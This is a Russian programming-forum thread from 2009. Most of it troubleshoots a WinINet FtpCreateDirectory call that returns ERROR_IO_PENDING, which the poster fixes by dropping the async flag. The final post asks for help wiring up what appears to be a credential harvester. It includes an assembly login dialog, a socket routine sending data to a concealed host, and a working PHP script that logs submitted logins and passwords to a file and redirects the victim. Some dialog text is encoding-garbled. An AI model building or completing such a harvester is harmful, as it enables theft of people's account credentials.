FtpCreateDirectory не создает директории на ftp, ERROR_IO_PENDING

Тема в разделе "WASM.NETWORKS", создана пользователем cryptic_elk, 7 сен 2009.

  1. cryptic_elk

    cryptic_elk New Member

    Публикаций:
    0
    Регистрация:
    7 сен 2009
    Сообщения:
    25
    Код (Text):
    1. ...
    2. HINTERNET hInet = InternetOpen("hz", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, INTERNET_FLAG_ASYNC);
    3. HINTERNET hSession = InternetConnect(hInet, ServerName, INTERNET_DEFAULT_FTP_PORT, Username,
    4.         Password, INTERNET_SERVICE_FTP, 0, 0);
    5.  
    6. if (FtpCreateDirectory(hSession, "234234") == FALSE)
    7. {
    8.     ret = GetLastError();
    9. }
    10. ...
    Выдает: ret == 997 (ERROR_IO_PENDING) // Overlapped I/O operation is in progress
    Инет конкретно подглючивает, но что характерно, через TotalCmd заходит на ура, спокойно создает директории.
    Пробовал заключить блок с FtpCreateDirectory в цикл, выполняющийся пока ret == 997, но вылетает с heap corruption
    в системной библиотеке. Притом кодес, создающий файлы на фтп также работает на ура.
    При попытках создать директорию параллельных операций не происходит. Укажите, плз, в чем здесь может быть проблема?
     
  2. cryptic_elk

    cryptic_elk New Member

    Публикаций:
    0
    Регистрация:
    7 сен 2009
    Сообщения:
    25
    со слипом директория создается:
    Код (Text):
    1. ...
    2. if (FtpCreateDirectory(hSession, "lalala") == FALSE)
    3. {
    4.     ret = GetLastError();
    5.     Sleep(500);
    6. }
    7. ...
    Но выглядит это убого... Есть ли нормальные способы?
     
  3. irrona

    irrona Member

    Публикаций:
    0
    Регистрация:
    26 май 2004
    Сообщения:
    178
    Адрес:
    Тирасполь
    Попробуй 7-й параметр dwFlags функции InternetConnect выставить в INTERNET_FLAG_PASSIVE. Он равен 0x08000000
     
  4. cryptic_elk

    cryptic_elk New Member

    Публикаций:
    0
    Регистрация:
    7 сен 2009
    Сообщения:
    25
    Решилась проблема путем аннигиляции флага INTERNET_FLAG_ASYNC, что впрочем было вполне логично
    Код (Text):
    1. ...
    2. HINTERNET hInet = InternetOpen("hz", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    3. ...
     
  5. cryptic_elk

    cryptic_elk New Member

    Публикаций:
    0
    Регистрация:
    7 сен 2009
    Сообщения:
    25
    Для того, чтобы не плодить тем...
    Никто не сталкивался со следующей проблемой:
    Через FtpCreateDirectory директория отлично создается, а при использовании нативного ftp.exe при попытке создания директории получаем в ответ ACESS_DENIED?
    Очень интересны причины такого поведения...
     
  6. mov_eax

    mov_eax New Member

    Публикаций:
    0
    Регистрация:
    25 окт 2009
    Сообщения:
    2
    Приветствую всех ,вопрос как сделать форму отправку логина и пароля на фтп (сам отчет)

    не могу осуществить

    часть кода на асме
    dialogitem 'EDIT','',ID_CAPTION,110,90,90,12,WS_VISIBLE+WS_BORDER+ES_AUTOHSCROLL
    dialogitem 'STATIC','&Ïàðîëü:',70,70,110,50,8,WS_VISIBLE
    dialogitem 'EDIT','88',ID_PASS,110,110,90,12,WS_VISIBLE+WS_BORDER+ES_AUTOHSCROLL
    dialogitem 'BUTTON','Âîéòè',ID_ICONINFORMATION,71,10,60,8,WS_VISIBLE+BS_AUTORADIOBUTTON

    dialogitem 'BUTTON','&Enter in the programm',ID_ICONWARNING,71,35,10,15,WS_VISIBLE+BS_AUTORADIOBUTTON
    dialogitem 'BUTTON','&ß õî÷ó',130,70,0,140,55,WS_VISIBLE+BS_GROUPBOX
    dialogitem 'BUTTON','',ID_ICONERROR,71,20,38,17,WS_VISIBLE+BS_AUTORADIOBUTTON
    dialogitem 'STATIC',IDR_PICT,-1,0,0,0,0,WS_VISIBLE+SS_BITMAP
    dialogitem 'BUTTON','&OK',IDOK,95,130,45,15,WS_VISIBLE+WS_TABSTOP+BS_PUSHBUTTON
    dialogitem 'BUTTON','&Îòìåíà',IDCANCEL,155,130,45,15,WS_VISIBLE+WS_TABSTOP+BS_PUSHBUTTON
    enddialog


    вторая часть кода это сокет

    format PE GUI 4.0
    entry main

    include 'include\win32a.inc'





    section '.text' data readable writeable executable import
    ;--------------- IMPORT -------------------
    library kernel32, 'kernel32.dll',\
    wsock32, 'wsock32.dll'
    include 'include\api\kernel32.inc'
    include 'include\api\wsock32.inc'
    ;--------------- CODE -------------------
    main:
    invoke WSAStartup, 0101h, wdata
    invoke socket, AF_INET, SOCK_STREAM, 6
    mov [sock], eax
    mov [saddr.sin_family], AF_INET
    invoke htons, 80
    mov [saddr.sin_port], ax
    invoke inet_addr, ip
    mov [saddr.sin_addr], eax
    invoke connect, [sock], saddr, sizeof.sockaddr_in
    invoke lstrlen ,login
    invoke send,[sock],login, eax, 0
    invoke accept, sock, 0, 0
    invoke closesocket, [sock]

    invoke ExitProcess, 0



    ;--------------- DATA -------------------
    ip db '127.0.0.1', 0
    login db 'GET http://................. HTTP/1.0', 13, 10
    db 'Host:,,,,,,,,,,,,,,,,,,', 13, 10, 13, 10, 0
    wdata WSADATA
    saddr sockaddr_in

    sock dd ?


    сам пхп скрипт
    <?php
    $login=$_POST['login'];
    $pass=$_POST['pass'];
    $data=$login." ".$pass;
    $fh=fopen("data.txt", "a");

    fwrite($fh, $login." ||| ".$pass."\r\n");
    fclose($fh);
    header("Location: http://..............ru/");
    ?>

    вопрос, как это вместе все связать и чтоб при воде логина и пароля приходил отчет на фтп ,приходит но пусто

    за исходниками, кину в личку.
    заранее Спасибо.